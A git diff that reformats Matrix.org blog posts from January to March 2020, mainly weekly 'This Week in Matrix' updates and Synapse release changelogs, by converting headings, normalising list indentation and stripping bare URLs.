adds the `/messages` endpoint, so it's now actually possible to paginate around in channels and to see room history. This massively improves the user experience when logging into a Dendrite homeserver. -> +> > In addition, another small PR was merged to fix Riot user login in the normal login workflow (not registration) and the public rooms API has been wired up for roomserver events. -> +> > A couple of changes have also been merged into `gomatrixserverlib`, mostly fixing the creation of `/backfill` requests and allowing the use of custom `http.Transport`s for federation traffic. -> +> > P2P work is continuing - stay tuned! ### Synapse 1.9.0 @@ -124,13 +127,13 @@ Several packaging projects have been updated to deploy the new version: > GitHub: > Room: [#riot-webext:matrix.org](https://matrix.to/#/#riot-webext:matrix.org) -### Ditto Chat [v0.2.0] released! +### Ditto Chat [v0.2.0] released [Annie](https://matrix.to/#/@annie:elequin.io) announced Ditto Chat v0.2.0! Ditto Chat is a Matrix Client in React Native. -> #### Added +> #### Added > > * Ability to Create a New Room & Search for Users > * Notifications for Android @@ -162,7 +165,7 @@ Ditto Chat is a Matrix Client in React Native. > > * Improve startup speed a bit more (Render more UI widgets without waiting for IO operations to finish). -### FluffyChat-Flutter is now available as a web app! +### FluffyChat-Flutter is now available as a web app [MTRNord](https://matrix.to/#/@MTRNord:matrix.ffslfl.net) reported: diff --git a/content/blog/2020/01/2020-01-28-synapse-1-9-1-released.md b/content/blog/2020/01/2020-01-28-synapse-1-9-1-released.md index 16af73f47..7b0f29d6f 100644 --- a/content/blog/2020/01/2020-01-28-synapse-1-9-1-released.md +++ b/content/blog/2020/01/2020-01-28-synapse-1-9-1-released.md @@ -9,15 +9,12 @@ category = ["Releases"] A quick bug fix release that affects admins making use of monthly active user limits. You will know if you are affected because 1.9.0 will not start up. Apologies if you were bitten by this one! -Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.9.1) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.9.1) or any of the sources mentioned at . Changelog since Synapse 1.9.1 -Synapse 1.9.1 (2020-01-28) -========================== +## Synapse 1.9.1 (2020-01-28) -Bugfixes --------- +### Bugfixes - Fix bug where setting `mau_limit_reserved_threepids` config would cause Synapse to refuse to start. ([\#6793](https://github.com/matrix-org/synapse/issues/6793)) diff --git a/content/blog/2020/01/2020-01-31-this-week-in-matrix-2020-01-31.md b/content/blog/2020/01/2020-01-31-this-week-in-matrix-2020-01-31.md index e59af6c27..6afe01916 100644 --- a/content/blog/2020/01/2020-01-31-this-week-in-matrix-2020-01-31.md +++ b/content/blog/2020/01/2020-01-31-this-week-in-matrix-2020-01-31.md @@ -35,13 +35,14 @@ No Matrix Live today - look out for a special edition this weekend! > > **Merged MSCs:** > -> _No MSCs were merged this week._ +> *No MSCs were merged this week.* > > **MSCs in Final Comment Period:** > -> _No MSCs entered FCP this week._ +> *No MSCs entered FCP this week.* > > **New MSCs:** +> > * [MSC2427: Proposal for JSON-based message formatting](https://github.com/matrix-org/matrix-doc/pull/2427) > * [MSC2425: Remove Authentication on /submitToken Identity Service API](https://github.com/matrix-org/matrix-doc/pull/2425) > @@ -110,6 +111,7 @@ and then > As always, if you have any questions check out the [support channel](https://matrix.to/#/#mx-puppet-bridge:sorunome.de) and please consider to [donate](https://liberapay.com/Sorunome/donate)! (Thanks sooooo much to everyone who donated so far!) 🦊 > > #### matrix-slack-parser +> > [matrix-slack-parser](https://github.com/Sorunome/matrix-slack-parser/) is, similar to matrix-discord-parser, a parser for slack->matrix and matrix->slack messages. It has been created over this week and does *proper* parsing (meaning HTML parsing and slack blocks, etc.). [mx-puppet-slack](https://github.com/Sorunome/mx-puppet-slack) already implements this, which leaves matrix-appservice-slack to follow suit! (cadair expressed interest, so looking forward to that!) ## Dept of Clients 📱 diff --git a/content/blog/2020/02/2020-02-03-matrix-at-fosdem-2020.md b/content/blog/2020/02/2020-02-03-matrix-at-fosdem-2020.md index c3837090b..daf859b4b 100644 --- a/content/blog/2020/02/2020-02-03-matrix-at-fosdem-2020.md +++ b/content/blog/2020/02/2020-02-03-matrix-at-fosdem-2020.md @@ -17,9 +17,10 @@ Hi all, We're just back from an incredible time at [FOSDEM 2020](https://fosdem.org/2020) - Europe's biggest Free & Open Source Software conference. Huge huge thanks to everyone who came to our talks (sorry if you couldn't get in :/), came to talk to us at the stand, or flagged us down to give feedback, chase PRs, file bugs, or just say thanks. Thanks also to FOSDEM to accepting all of our talks this year, and to the FOSDEM organisers for pulling together yet another amazing event :) We ended up with three talks: - * [Making and Breaking Matrix's E2E Encryption](https://fosdem.org/2020/schedule/event/matrix/) - * [The Path to Peer-to-Peer Matrix](https://fosdem.org/2020/schedule/event/dip_p2p_matrix/) - * [Crossing the Bifröst - Bridging All The Things with Matrix](https://fosdem.org/2020/schedule/event/matrix_bridge/) + +* [Making and Breaking Matrix's E2E Encryption](https://fosdem.org/2020/schedule/event/matrix/) +* [The Path to Peer-to-Peer Matrix](https://fosdem.org/2020/schedule/event/dip_p2p_matrix/) +* [Crossing the Bifröst - Bridging All The Things with Matrix](https://fosdem.org/2020/schedule/event/matrix_bridge/) We'll do a proper blog write-up on enabling E2E encryption by default, cross-signing, and all the other E2E encryption work that's been going on once we ship the stable release - but as of Saturday(!) it has landed on [Riot/Web Develop](https://riot.im/develop), [RiotX/Android](https://play.google.com/store/apps/details?id=im.vector.riotx) (0.14.2) and Riot/iOS develop TestFlight, but we're still debugging and we need a bit longer before cutting the final releases. diff --git a/content/blog/2020/02/2020-02-07-this-week-in-matrix-2020-02-07.md b/content/blog/2020/02/2020-02-07-this-week-in-matrix-2020-02-07.md index 330311d24..5e39260df 100644 --- a/content/blog/2020/02/2020-02-07-this-week-in-matrix-2020-02-07.md +++ b/content/blog/2020/02/2020-02-07-this-week-in-matrix-2020-02-07.md @@ -164,8 +164,8 @@ There's a new [maubot plugin to post http.cat pictures](https://github.com/maubo > * SSO Login is now supported (so mozilla.modular.im logins work 🎉) > * Updated Riot Web to stable version 1.5.8 > * Firefox-only: -> * Now correctly reopens riot tabs that were in containers when the Add-on updates -> * General tips on how to use containers to have multiple accounts can be found on the AMO description +> * Now correctly reopens riot tabs that were in containers when the Add-on updates +> * General tips on how to use containers to have multiple accounts can be found on the AMO description > * [Get the Firefox Add-on here](https://addons.mozilla.org/firefox/addon/riot/) > * [Get the Chrome Extension here](https://chrome.google.com/webstore/detail/lgpdpggoahhnlmaiompkgghldllldcjh/) @@ -203,11 +203,11 @@ There's a new [maubot plugin to post http.cat pictures](https://github.com/maubo It's also had a fair few changes since last time: -- QR codes now render if you are the presenter, for easy joining. -- You can react to slides as a guest, and they show up on the presenters screen :). -- Slides and their contents are cached in indexedeb (browser storage), to lessen the load on homeservers. -- Add UI to create rooms in the client, albeit without an editor just yet. -- Various CSS tweaks to try and make life better. +* QR codes now render if you are the presenter, for easy joining. +* You can react to slides as a guest, and they show up on the presenters screen :). +* Slides and their contents are cached in indexedeb (browser storage), to lessen the load on homeservers. +* Add UI to create rooms in the client, albeit without an editor just yet. +* Various CSS tweaks to try and make life better. ## Dept of Ping 🏓 diff --git a/content/blog/2020/02/2020-02-12-synapse-1-10-0-released.md b/content/blog/2020/02/2020-02-12-synapse-1-10-0-released.md index cc112fc71..484ff45dc 100644 --- a/content/blog/2020/02/2020-02-12-synapse-1-10-0-released.md +++ b/content/blog/2020/02/2020-02-12-synapse-1-10-0-released.md @@ -16,78 +16,56 @@ We've also included a temporary fix to address alias abuse. The idea is that unt Finally, as of this release Synapse validates ```client_secret``` parameters in the Client-Server API as per the spec. See [#6766](https://github.com/matrix-org/synapse/issues/6766) for details. - -Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.10.0) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.10.0) or any of the sources mentioned at . Changelog since Synapse 1.9.0 -Synapse 1.10.0 (2020-02-12) -=========================== +## Synapse 1.10.0 (2020-02-12) **WARNING to client developers**: As of this release Synapse validates `client_secret` parameters in the Client-Server API as per the spec. See [\#6766](https://github.com/matrix-org/synapse/issues/6766) for details. -Updates to the Docker image ---------------------------- +### Updates to the Docker image - Update the docker images to Alpine Linux 3.11. ([\#6897](https://github.com/matrix-org/synapse/issues/6897)) +## Synapse 1.10.0rc5 (2020-02-11) -Synapse 1.10.0rc5 (2020-02-11) -============================== - -Bugfixes --------- +### Bugfixes - Fix the filtering introduced in 1.10.0rc3 to also apply to the state blocks returned by `/sync`. ([\#6884](https://github.com/matrix-org/synapse/issues/6884)) -Synapse 1.10.0rc4 (2020-02-11) -============================== +## Synapse 1.10.0rc4 (2020-02-11) This release candidate was built incorrectly and is superseded by 1.10.0rc5. -Synapse 1.10.0rc3 (2020-02-10) -============================== +## Synapse 1.10.0rc3 (2020-02-10) -Features --------- +### Features - Filter out `m.room.aliases` from the CS API to mitigate abuse while a better solution is specced. ([\#6878](https://github.com/matrix-org/synapse/issues/6878)) - -Internal Changes ----------------- +### Internal Changes - Fix continuous integration failures with old versions of `pip`, which were introduced by a release of the `zipp` library. ([\#6880](https://github.com/matrix-org/synapse/issues/6880)) +## Synapse 1.10.0rc2 (2020-02-06) -Synapse 1.10.0rc2 (2020-02-06) -============================== - -Bugfixes --------- +### Bugfixes - Fix an issue with cross-signing where device signatures were not sent to remote servers. ([\#6844](https://github.com/matrix-org/synapse/issues/6844)) - Fix to the unknown remote device detection which was introduced in 1.10.rc1. ([\#6848](https://github.com/matrix-org/synapse/issues/6848)) - -Internal Changes ----------------- +### Internal Changes - Detect unexpected sender keys on remote encrypted events and resync device lists. ([\#6850](https://github.com/matrix-org/synapse/issues/6850)) +## Synapse 1.10.0rc1 (2020-01-31) -Synapse 1.10.0rc1 (2020-01-31) -============================== - -Features --------- +### Features - Add experimental support for updated authorization rules for aliases events, from [MSC2260](https://github.com/matrix-org/matrix-doc/pull/2260). ([\#6787](https://github.com/matrix-org/synapse/issues/6787), [\#6790](https://github.com/matrix-org/synapse/issues/6790), [\#6794](https://github.com/matrix-org/synapse/issues/6794)) - -Bugfixes --------- +### Bugfixes - Warn if postgres database has a non-C locale, as that can cause issues when upgrading locales (e.g. due to upgrading OS). ([\#6734](https://github.com/matrix-org/synapse/issues/6734)) - Minor fixes to `PUT /_synapse/admin/v2/users` admin api. ([\#6761](https://github.com/matrix-org/synapse/issues/6761)) @@ -99,15 +77,11 @@ Bugfixes - Fix bug where Synapse didn't invalidate cache of remote users' devices when Synapse left a room. ([\#6801](https://github.com/matrix-org/synapse/issues/6801)) - Fix waking up other workers when remote server is detected to have come back online. ([\#6811](https://github.com/matrix-org/synapse/issues/6811)) - -Improved Documentation ----------------------- +### Improved Documentation - Clarify documentation related to `user_dir` and `federation_reader` workers. ([\#6775](https://github.com/matrix-org/synapse/issues/6775)) - -Internal Changes ----------------- +### Internal Changes - Record room versions in the `rooms` table. ([\#6729](https://github.com/matrix-org/synapse/issues/6729), [\#6788](https://github.com/matrix-org/synapse/issues/6788), [\#6810](https://github.com/matrix-org/synapse/issues/6810)) - Propagate cache invalidates from workers to other workers. ([\#6748](https://github.com/matrix-org/synapse/issues/6748)) diff --git a/content/blog/2020/02/2020-02-14-this-week-in-matrix-2020-02-14.md b/content/blog/2020/02/2020-02-14-this-week-in-matrix-2020-02-14.md index 6851e4370..fb8c49255 100644 --- a/content/blog/2020/02/2020-02-14-this-week-in-matrix-2020-02-14.md +++ b/content/blog/2020/02/2020-02-14-this-week-in-matrix-2020-02-14.md @@ -199,7 +199,7 @@ If you're looking forward to using [seshat](https://github.com/matrix-org/seshat Check it out: -### matrix-bot-sdk v0.5.0 released! +### matrix-bot-sdk v0.5.0 released [TravisR](https://github.com/turt2live) announced: @@ -211,8 +211,8 @@ Check it out: > * We released ruma-client-api 0.6.0, with lots of updated API revisions (and also lots of breaking changes). The changelog can be found [here](https://github.com/ruma/ruma-client-api/releases/tag/0.6.0) > * ruma-client 0.3.0 is out of beta! This release contains -> * access to the raw http response for non-success responses -> * async/await support 🎉 +> * access to the raw http response for non-success responses +> * async/await support 🎉 ### Ruby SDK diff --git a/content/blog/2020/02/2020-02-21-this-week-in-matrix-2020-02-21.md b/content/blog/2020/02/2020-02-21-this-week-in-matrix-2020-02-21.md index c9c0859da..e9144e15b 100644 --- a/content/blog/2020/02/2020-02-21-this-week-in-matrix-2020-02-21.md +++ b/content/blog/2020/02/2020-02-21-this-week-in-matrix-2020-02-21.md @@ -235,7 +235,7 @@ Regarding "SSSS", [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) helpfully link ### Dad Bot, the saga -If you were in [#twim:matrix.org] this week you may have seen that the most popular bot was "Dad Bot"... +If you were in [#twim:matrix.org] this week you may have seen that the most popular bot was "Dad Bot"... [Dylan](https://matrix.to/#/@dhmf:m.dhdf.dev) reported: diff --git a/content/blog/2020/02/2020-02-24-synapse-1-11-0-released.md b/content/blog/2020/02/2020-02-24-synapse-1-11-0-released.md index 72804c08c..147a28137 100644 --- a/content/blog/2020/02/2020-02-24-synapse-1-11-0-released.md +++ b/content/blog/2020/02/2020-02-24-synapse-1-11-0-released.md @@ -15,23 +15,17 @@ The main change is to introduce an experimental API [MSC2432](https://github.com We've also changed the default power levels for new rooms so that room upgrades and ACLs require you to be an Admin (PL100), and invites in public rooms now require you to be a moderator (PL50). -Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.11.0) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. +Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.11.0) or any of the sources mentioned at . +## Synapse 1.11.0 (2020-02-21) -Synapse 1.11.0 (2020-02-21) -=========================== - -Improved Documentation ----------------------- +### Improved Documentation - Small grammatical fixes to the ACME v1 deprecation notice. ([\#6944](https://github.com/matrix-org/synapse/issues/6944)) +## Synapse 1.11.0rc1 (2020-02-19) -Synapse 1.11.0rc1 (2020-02-19) -============================== - -Features --------- +### Features - Admin API to add or modify threepids of user accounts. ([\#6769](https://github.com/matrix-org/synapse/issues/6769)) - Limit the number of events that can be requested by the backfill federation API to 100. ([\#6864](https://github.com/matrix-org/synapse/issues/6864)) @@ -43,8 +37,7 @@ Features - Stop sending `m.room.aliases` events when adding / removing aliases. Check `alt_aliases` in the latest `m.room.canonical_alias` event when deleting an alias. ([\#6904](https://github.com/matrix-org/synapse/issues/6904)) - Change the default power levels of invites, tombstones and server ACLs for new rooms. ([\#6834](https://github.com/matrix-org/synapse/pull/6834)) -Bugfixes --------- +### Bugfixes - Fixed third party event rules function `on_create_room`'s return value being ignored. ([\#6781](https://github.com/matrix-org/synapse/issues/6781)) - Allow URL-encoded User IDs on `/_synapse/admin/v2/users/[/admin]` endpoints. Thanks to @NHAS for reporting. ([\#6825](https://github.com/matrix-org/synapse/issues/6825)) @@ -52,15 +45,11 @@ Bugfixes - Fix errors from logging in the purge jobs related to the message retention policies support. ([\#6945](https://github.com/matrix-org/synapse/issues/6945)) - Return a 404 instead of 200 for querying information of a non-existent user through the admin API. ([\#6901](https://github.com/matrix-org/synapse/issues/6901)) - -Updates to the Docker image ---------------------------- +### Updates to the Docker image - The deprecated "generate-config-on-the-fly" mode is no longer supported. ([\#6918](https://github.com/matrix-org/synapse/issues/6918)) - -Improved Documentation ----------------------- +### Improved Documentation - Add details of PR merge strategy to contributing docs. ([\#6846](https://github.com/matrix-org/synapse/issues/6846)) - Spell out that the last event sent to a room won't be deleted by a purge. ([\#6891](https://github.com/matrix-org/synapse/issues/6891)) @@ -72,15 +61,11 @@ Improved Documentation - Databases created using the compose file in contrib/docker will now always have correct encoding and locale settings. Contributed by Fridtjof Mund. ([\#6921](https://github.com/matrix-org/synapse/issues/6921)) - Update pip install directions in readme to avoid error when using zsh. ([\#6855](https://github.com/matrix-org/synapse/issues/6855)) - -Deprecations and Removals -------------------------- +### Deprecations and Removals - Remove `m.lazy_load_members` from `unstable_features` since lazy loading is in the stable Client-Server API version r0.5.0. ([\#6877](https://github.com/matrix-org/synapse/issues/6877)) - -Internal Changes ----------------- +### Internal Changes - Add type hints to `SyncHandler`. ([\#6821](https://github.com/matrix-org/synapse/issues/6821)) - Refactoring work in preparation for changing the event redaction algorithm. ([\#6823](https://github.com/matrix-org/synapse/issues/6823), [\#6827](https://github.com/matrix-org/synapse/issues/6827), [\#6854](https://github.com/matrix-org/synapse/issues/6854), [\#6856](https://github.com/matrix-org/synapse/issues/6856), [\#6857](https://github.com/matrix-org/synapse/issues/6857), [\#6858](https://github.com/matrix-org/synapse/issues/6858)) diff --git a/content/blog/2020/02/2020-02-28-this-week-in-matrix-2020-02-28.md b/content/blog/2020/02/2020-02-28-this-week-in-matrix-2020-02-28.md index 7167cdbd7..f0adfbf76 100644 --- a/content/blog/2020/02/2020-02-28-this-week-in-matrix-2020-02-28.md +++ b/content/blog/2020/02/2020-02-28-this-week-in-matrix-2020-02-28.md @@ -25,7 +25,7 @@ You can catch up on what was missed by watching [this week's Matrix Live](https: \* Pizza to eat ** Beer to drink -### version1 podcast featured Matrix! +### version1 podcast featured Matrix [Éibhear](https://matrix.to/#/@eibhear:matrix.gibiris.org) told us: @@ -57,12 +57,15 @@ We updated [suggested projects list](http://matrix-org.github.io/gsoc/#/projects > #### MSC Status > > **Merged MSCs:** -> * _No MSCs have been merged this week._ +> +> * *No MSCs have been merged this week.* > > **MSCs in Final Comment Period:** -> * _No FCPs have entered Final Comment Period this week._ +> +> * *No FCPs have entered Final Comment Period this week.* > > **New MSCs:** +> > * [MSC2444: peeking over federation via /peek](https://github.com/matrix-org/matrix-doc/pull/2444) > * [MSC2448: Using Blurhash in Media Events](https://github.com/matrix-org/matrix-doc/pull/2448) > @@ -114,7 +117,7 @@ We updated [suggested projects list](http://matrix-org.github.io/gsoc/#/projects ## Dept of Ops 🛠 -### arm64 support for all [Tulir](https://matrix.to/#/@tulir:maunium.net)-projects: +### arm64 support for all [Tulir](https://matrix.to/#/@tulir:maunium.net)-projects > The docker images of my projects (specifically mautrix-{telegram,whatsapp,facebook,hangouts} bridges, maubot and mautrix-manager) now support arm64 in addition to amd64. They're multiarch images, so the same tag will work with both architectures. @@ -150,7 +153,7 @@ Last week [Aaron](https://matrix.to/#/@aaron:raim.ist) said: Which like the flap of a butterfly wing has caused a series of events: -#### A Nord Theme for Riot! +#### A Nord Theme for Riot [Dylan](https://matrix.to/#/@dhmf:m.dhdf.dev) announced: @@ -158,7 +161,7 @@ Which like the flap of a butterfly wing has caused a series of events: > > * GitHub: -#### A wild Discord themed Riot has appeared! +#### A wild Discord themed Riot has appeared [Dylan](https://matrix.to/#/@dhmf:m.dhdf.dev) reported: @@ -174,20 +177,18 @@ Which like the flap of a butterfly wing has caused a series of events: > [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) now makes it easy to install custom riot-web themes, either by having you manually define them or by automatically pulling whatever themes are available in [aaronraimist/riot-web-themes](https://github.com/aaronraimist/riot-web-themes). To learn more, take a look at our [riot-web documentation on Themes](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-riot-web.md#themes). -### Fractal +### Fractal [Alexandre Franke](https://matrix.to/#/@afranke:matrix.org) announced: -> Our current Outreachy intern implemented many nice media related things. Videos now have a preview playing directly in the room history and clicking on them opens a player view with the usual controls. +> Our current Outreachy intern implemented many nice media related things. Videos now have a preview playing directly in the room history and clicking on them opens a player view with the usual controls. -{{ youtube_player(video_id="ooGdsdsiCMg") }} +{{ youtube_player(video_id="ooGdsdsiCMg") }} -> Audio messages have a nicer presentation too. The audio player downloads the whole file to make seeking possible. +> Audio messages have a nicer presentation too. The audio player downloads the whole file to make seeking possible. > > The narrow view (used e.g. on the Pinephone and Librem 5) gained a new swipe-back gesture to go back from room to room list - - ### gomuks [Tulir](https://matrix.to/#/@tulir:maunium.net) said: @@ -213,6 +214,7 @@ Which like the flap of a butterfly wing has caused a series of events: [KB1RD](https://matrix.to/#/@kb1rd:kb1rd.net) offered: > **Finally,** version `0.2.0` is here, which... +> > * Introduces the new version of `logootish-js` > * Gets ready for conflict resolution systems > * Fixes *some* (but not all) bugs encountered (thanks to the new algo) diff --git a/content/blog/2020/03/2020-03-03-moznet-irc-is-dead-long-live-mozilla-matrix.md b/content/blog/2020/03/2020-03-03-moznet-irc-is-dead-long-live-mozilla-matrix.md index 8db458c92..e636c2dc9 100644 --- a/content/blog/2020/03/2020-03-03-moznet-irc-is-dead-long-live-mozilla-matrix.md +++ b/content/blog/2020/03/2020-03-03-moznet-irc-is-dead-long-live-mozilla-matrix.md @@ -18,8 +18,8 @@ Heads up that yesterday at 12:00 ET, the Mozilla IRC network was switched off after over 22 years of valiant service, and the [mozilla.org Matrix instance is now in full production](http://exple.tive.org/blarg/2020/02/20/synchronous-messaging-were-live/). You can get at it via the Riot instance at -https://chat.mozilla.org, by pointing your client at -https://mozilla.modular.im, or by joining rooms on the mozilla.org server over +, by pointing your client at +, or by joining rooms on the mozilla.org server over federation via its room directory. We'd like to thank Mozilla again for putting their faith in Matrix, and are @@ -33,11 +33,11 @@ alphabetic room ordering, custom theming support, and done a bunch more SSO work The immediate priorities include: - * Fixing a regression in jumps/jank when scrolling (fix PRed to develop today) - * Enabling Mozilla IAM SSO authentication on remaining "interactive user auth" flows (e.g. managing devices) - * Fixing the UX around selecting server when browsing the room directory. - * Fixing notification defaults, behaviour and settings UX - * Better educating users to connect to the mozilla.modular.im if using a random app. +* Fixing a regression in jumps/jank when scrolling (fix PRed to develop today) +* Enabling Mozilla IAM SSO authentication on remaining "interactive user auth" flows (e.g. managing devices) +* Fixing the UX around selecting server when browsing the room directory. +* Fixing notification defaults, behaviour and settings UX +* Better educating users to connect to the mozilla.modular.im if using a random app. Finally, it's worth noting that the [matrix-ircd](https://github.com/matrix-org/matrix-ircd) project is seeing some commits again, many thanks to jplatte from the [Ruma](https://ruma.dev/) project - so if you are diff --git a/content/blog/2020/03/2020-03-03-synapse-1-11-1-released.md b/content/blog/2020/03/2020-03-03-synapse-1-11-1-released.md index f1e8eb867..3334b8791 100644 --- a/content/blog/2020/03/2020-03-03-synapse-1-11-1-released.md +++ b/content/blog/2020/03/2020-03-03-synapse-1-11-1-released.md @@ -13,20 +13,17 @@ Admins not using Single Sign-On to authenticate users are not affected though ma Thanks to [Rhys Davies](https://twitter.com/rhysmdnz) for the responsible disclosure. -Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.11.1) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.11.1) or any of the sources mentioned at . Changelog since Synapse 1.11.0 -Synapse 1.11.1 (2020-03-03) -=========================== +## Synapse 1.11.1 (2020-03-03) This release includes a security fix impacting installations using Single Sign-On (i.e. SAML2 or CAS) for authentication. Administrators of such installations are encouraged to upgrade as soon as possible. The release also includes fixes for a couple of other bugs. -Bugfixes --------- +### Bugfixes - Add a confirmation step to the SSO login flow before redirecting users to the redirect URL. ([b2bd54a2](https://github.com/matrix-org/synapse/commit/b2bd54a2e31d9a248f73fadb184ae9b4cbdb49f9), [65c73cdf](https://github.com/matrix-org/synapse/commit/65c73cdfec1876a9fec2fd2c3a74923cd146fe0b), [a0178df1](https://github.com/matrix-org/synapse/commit/a0178df10422a76fd403b82d2b2a4ed28a9a9d1e)) - Fixed set a user as an admin with the admin API `PUT /_synapse/admin/v2/users/`. Contributed by @dklimpel. ([\#6910](https://github.com/matrix-org/synapse/issues/6910)) diff --git a/content/blog/2020/03/2020-03-06-this-week-in-matrix-2020-03-06.md b/content/blog/2020/03/2020-03-06-this-week-in-matrix-2020-03-06.md index 75a58eed7..fa77730b5 100644 --- a/content/blog/2020/03/2020-03-06-this-week-in-matrix-2020-03-06.md +++ b/content/blog/2020/03/2020-03-06-this-week-in-matrix-2020-03-06.md @@ -37,7 +37,7 @@ image = "https://matrix.org/blog/img/2020-03-06-kxlmu-image.png" [richvdh](https://matrix.to/#/@richvdh:sw1v.org) said: -> A busy week in Synapse this week! We've released Synapse 1.11.1 to fix a security problem with single-sign-on, Patrick has been putting the finishing touches to the room-alias-spam mitigation measures in [MSC2432](https://github.com/matrix-org/matrix-doc/pull/2432), and Erik has been doing some exciting work in replacing the inter-process replication protocol for worker-based deployments. +> A busy week in Synapse this week! We've released Synapse 1.11.1 to fix a security problem with single-sign-on, Patrick has been putting the finishing touches to the room-alias-spam mitigation measures in [MSC2432](https://github.com/matrix-org/matrix-doc/pull/2432), and Erik has been doing some exciting work in replacing the inter-process replication protocol for worker-based deployments. > > We've also started the design work on single-sign-on support for user-interactive-auth, which we'll be starting implementation work on next week. @@ -68,13 +68,15 @@ Also: > Send notifications from Icinga(1,2) to a Matrix room. > > * +> > #### v1.2.0 > -> * Changed POST to PUT for sending the message to comply with the spec (https://matrix.org/docs/api/client-server/#!/Room32participation/sendMessage) +> * Changed POST to PUT for sending the message to comply with the spec () +> > #### Roadmap > > * New, cool templates from @micha:msqu.de -> * Rewrite in Go and gomatrix (https://github.com/matrix-org/gomatrix) to have a static binary +> * Rewrite in Go and gomatrix () to have a static binary ### mx-puppet-slack @@ -134,11 +136,13 @@ The creator, [mymindstorm](https://matrix.to/#/@mymindstorm:evermiss.net) said: > * and a lot of other major code-quality things! > > See the full list of changes [here](https://gitlab.com/ditto-chat/ditto-mobile/-/tags/0.3.0) +> > #### Help Wanted > > In general, we'll welcome any help if someone would like to contribute - great way to get some experience with React Native! Just reach out! > > If anybody has the skill set or interest, we are also looking at creating a React Native specific Matrix SDK to improve performance and allow others to develop RN clients easily. +> > ##### [Website](https://dittochat.org/) | [#ditto:ditto.chat](https://matrix.to/#/#ditto:ditto.chat) | Contact Annie ### RiotX @@ -198,7 +202,7 @@ Nord Light Theme for Riot is also available from [Dylan](https://matrix.to/#/@dh > i have updated [simplematrixlib](https://gitlab.com/Swedneck/simplematrixlib) and [py-matrix-utils](https://gitlab.com/Swedneck/py-matrix-utils) adding (among other things) the ability to upload and download media, and send messages! > Simplematrixlib is available on PyPi. - +> > simplematrixlib now also has a matrix room, [#simplematrixlib:matrix.org](https://matrix.to/#/#simplematrixlib:matrix.org) (also used for py-matrix-utils) ## Dept of Ops 🛠 @@ -218,7 +222,7 @@ Nord Light Theme for Riot is also available from [Dylan](https://matrix.to/#/@dh > During last [hackweek](https://hackweek.suse.com/), I wrote a chat bot integration in Rust for openSUSEs [Open Build Service](https://build.opensuse.org/). OBS is used for development of the openSUSE distribution and can build packages from the same sources for Fedora, Debian, Ubuntu, SUSE Linux Enterprise and other distributions. > -> The bot follows given packages and pull requests and pings a room if any changes occur (build finished, PR got commented or accepted, ..). +> The bot follows given packages and pull requests and pings a room if any changes occur (build finished, PR got commented or accepted, ..). > > Sources can be found [here](https://github.com/msirringhaus/obs_chat_bot), RPMs exist as well. diff --git a/content/blog/2020/03/2020-03-13-this-week-in-matrix-2020-03-13.md b/content/blog/2020/03/2020-03-13-this-week-in-matrix-2020-03-13.md index ceb098b65..332674826 100644 --- a/content/blog/2020/03/2020-03-13-this-week-in-matrix-2020-03-13.md +++ b/content/blog/2020/03/2020-03-13-this-week-in-matrix-2020-03-13.md @@ -52,8 +52,8 @@ We are still welcoming GSoC students who want to apply to work on Matrix project Matthew also mentioned the work that is going on with Dendrite P2P: -> * We've got our first ever public Riot running with P2P Matrix, by compiling Dendrite to WASM and embedding it in the browser as a service worker. It's still quite early, but you can try to play with it now at https://p2p.riot.im. You can hear (and see!) all about it in this week's Matrix Live. -> * It's using libp2p (IPFS's network layer) for P2P, coordinating via our shiny new libp2p websocket rendezvous server at https://rendezvous.matrix.org:8443 +> * We've got our first ever public Riot running with P2P Matrix, by compiling Dendrite to WASM and embedding it in the browser as a service worker. It's still quite early, but you can try to play with it now at . You can hear (and see!) all about it in this week's Matrix Live. +> * It's using libp2p (IPFS's network layer) for P2P, coordinating via our shiny new libp2p websocket rendezvous server at > * Lots of limitations still: the room directory isn't hooked up; it doesn't persist your database yet; and no store-and-forward for users who are offline. > * Meanwhile Neil has been making good progress on v3, v4 and v5 room versions in Dendrite > * Spent a few days in London discussing the shape of P2P and Dendrite to come... watch this space ⭕️ @@ -120,7 +120,7 @@ And finally: > You can find the F-Droid repository at -### RiotX +### RiotX [valere](https://matrix.to/#/@valere35:matrix.org) announced: diff --git a/content/blog/2020/03/2020-03-20-this-week-in-matrix-2020-03-20.md b/content/blog/2020/03/2020-03-20-this-week-in-matrix-2020-03-20.md index 579b6dc2f..bb66c8b20 100644 --- a/content/blog/2020/03/2020-03-20-this-week-in-matrix-2020-03-20.md +++ b/content/blog/2020/03/2020-03-20-this-week-in-matrix-2020-03-20.md @@ -92,7 +92,7 @@ Notes on usage: ## Dept of Bridges 🌉 -### Welcome Christian! +### Welcome Christian Welcome to [Christian](https://matrix.to/#/@jaller94:matrix.org ), who is joining the Bridges team as an employee. He'll start out on the Slack bridge but will be working more generally with Half-Shot on all bridges. diff --git a/content/blog/2020/03/2020-03-23-synapse-1-12-0-released.md b/content/blog/2020/03/2020-03-23-synapse-1-12-0-released.md index 767f3e8d1..daa63dd53 100644 --- a/content/blog/2020/03/2020-03-23-synapse-1-12-0-released.md +++ b/content/blog/2020/03/2020-03-23-synapse-1-12-0-released.md @@ -19,13 +19,11 @@ Please pay special attention to the security advisory in the changelog, TL;DR ma Also, note that once Synapse 1.13.0 is released, the default branch will change to being `develop` rather than `master`. Again more details follow in the changelog. -Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.12.0) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.12.0) or any of the sources mentioned at . Changelog since Synapse 1.11.1 -Synapse 1.12.0 (2020-03-23) -=========================== 